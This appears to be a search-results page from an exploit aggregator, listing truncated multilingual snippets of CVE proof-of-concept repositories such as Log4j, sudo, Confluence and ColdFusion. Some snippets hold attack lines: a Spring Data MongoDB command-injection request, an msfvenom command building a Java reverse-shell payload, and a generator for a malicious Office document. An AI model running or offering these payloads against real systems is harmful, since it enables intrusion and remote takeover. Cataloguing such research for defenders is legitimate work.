414349 matches found
CVE-2022-30333-PoC
CVE-2022-30333-POC Beispieldatei zum Testen von CVE-2022-30333 Sample.rar : wenn Sie unter Linux testen möchten. Beim Extrahieren wird trav in ../../tmp/traversed erstellt. Bitte stellen Sie sicher, dass das Verzeichnis ../../tmp/traversed vor dem Extrahieren von Sample.rar existiert. exp.rar :...
CVE-2022-34556
Beschreibung von CVE-2022-34556 In PicoC v3.2.2 wurde eine NULL-Pointer-Dereferenzierung in variable.c entdeckt. Alle Projekte oder Bibliotheken, die Picoc verwenden, sind ebenfalls von diesem Problem betroffen. Ein Beispiel dafür wäre picoc-js. Einrichtung unserer Umgebung Um die...
CVE-2024-2432-PaloAlto-GlobalProtect-EoP
CVE-2024-2432 Palo Alto GlobalProtect EoP Sui sistemi Windows, è stato riscontrato che GlobalProtect versione app 6.1.1-5 e 6.2.0-89 era vulnerabile all'eliminazione arbitraria di file con privilegi elevati tramite attacco di collegamento simbolico, portando a un'escalation di privilegi locale...
CVE-2021-3156
CVE-2021-3156 toc Riepilogo della vulnerabilità ID vulnerabilità: CVE-2021-3156 Punteggio vulnerabilità: Prodotto vulnerabile: linux sudo Versione interessata: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1 Condizioni di sfruttamento: linux locale; sudo è suid e può essere eseguito Effetto dello sfruttamento:...
-exploit-lab
-exploit-lab Exploit Python cve-2019-0708 – di HackHeart 🧠 Code Review e Porting - Python 2 → Python 3 Questo exploit è stato originariamente scritto in Python 2, che non è più supportato dai sistemi moderni. Per garantire la compatibilità e mantenere strumenti a prova di futuro, l'intero codebas...
cve-2022-22980
spring-data-mongodb-cve-2022-22980-exp Vulnerabilità di poco conto, solo una nota. 1. Avvia Redis, porta 27017 2. Avvia il progetto, Spring Boot sulla porta 6666 3. root@kitploit: GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host: localhost:6666...
CVE-2026-48095
CVE-2026-48095 7-Zip é um compactador de arquivos com alta taxa de compressão. As versões 26.00 e anteriores contêm uma vulnerabilidade de estouro de buffer no heap causada por uma subalocação no buffer do fluxo compactado NTFS GetCuSize shift UB, potencialmente permitindo que atacantes causem...
hook
Hook Hook sfrutta una vulnerabilità di iniezione dei parametri nell'interfaccia SSH di WatchGuard. La vulnerabilità consente a un utente con privilegi bassi di esfiltrare file di sistema arbitrari verso un server FTP controllato dall'attaccante. Fortunatamente, esiste un utente integrato con...
blackvue-cve-2023
BlackVue DR750 CVEs + mehr Das Folgende dient ausschließlich zu Bildungszwecken. Versuchen Sie dies nicht an einem Gerät, das Ihnen nicht gehört oder für das Sie keine Nutzungsberechtigung haben. Zum Zeitpunkt dieses Schreibens gibt es etwa 300 anfällige BlackVue-Geräte online, die leicht entdeck...
CVE-2019-9053
CVE-2019-9053 Exploit CVE-2019-9053 per Python 3 Ultimo test: 28-12-2021 Testato su: Python 3.10.1 Fonte dell'exploit originale: https://www.exploit-db.com/exploits/46635 Gli utenti si assumono la piena responsabilità per qualsiasi azione eseguita utilizzando questo strumento. Se questi termini n...
CVE-2022-40684
CVE-2022-40684 Recht und Ordnung beachten: Jede Person und jede Organisation, die das Netzwerk nutzt, muss sich an die Verfassung und die Gesetze halten, die öffentliche Ordnung wahren, die sozialen Sitten respektieren, darf die Cybersicherheit nicht gefährden und darf das Netzwerk nicht für...
-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server
-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server Diese Schwachstelle könnte es einem Angreifer ermöglichen, die vollständige Kontrolle über einen verwundbaren Confluence-Server zu erlangen. Dies könnte es dem Angreifer ermöglichen, Daten zu stehlen, Daten zu ändern oder die Verfügbarkeit...
CVE-2022-39197-RCE
CVE-2022-39197-RCE In primo luogo Questo progetto è stato modificato dal progetto @its-arun https://github.com/its-arun/CVE-2022-39197 Quando ho testato lo script, ho scoperto che lo script frida non riusciva a interrogare i dati nell'ordine normale. Il metodo per modificare lo script frida per...
katana
Ein neuartiges Framework für Crawling und Spidering Funktionen • Installation • Nutzung • Geltungsbereich • Konfiguration • Filter • Discord beitreten Funktionen Schnelles und vollständig konfigurierbares Web-Crawling Standard - und Headless -Modus JavaScript -Analyse / -Crawling Anpassbares...
drs-malware-scan
Perform malware scan analysis of on-prem servers using AWS services Challenges with on-premises malware detection It can be difficult for security teams to continuously monitor all on-premises servers due to budget and resource constraints. Signature-based antivirus alone is insufficient as moder...
wosind
Leia-me para "wosind.py" Este software está licenciado sob GPL GNU GPLv3. Esta ferramenta combina muitas possibilidades de OpenSource Intelligence. A ferramenta usa comandos de shell locais, como ping, host... e recursos externos como nmap ou serviços web externos. 1. Pré-requisitos do sistema...
CVE-2021-44228_PoC
POC per CVE-2021-44228 Questo script Python è stato creato mentre lavoravo sulla stanza TryHackMe per Log4j. Sebbene sia stato creato con variabili predefinite per questa stanza, ho usato argparse per rendere lo script versatile per una richiesta GET. Tutte le variabili necessarie possono essere...
CVE-2021-40444
CVE-2021-40444 Utilizzo Assicurati di eseguire prima setup.sh poiché ti serviranno alcune directory. Una volta eseguito lo script, dovresti essere in grado di eseguire gen.py con l'esempio fornito:- root@kitploit: Usage python3 gen.py -d document/Sample.docx -p payload/payload.dll -i...
CVE-2023-26360-RCE
CVE-2023-26360 - Remote Code Execution auf ColdFusion 2021 Manchmal funktionieren die Skripte nicht beim ersten Versuch. Versuchen Sie es ein paar Mal, damit es funktioniert Ausführung Erstellen eines Payloads mit msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1...
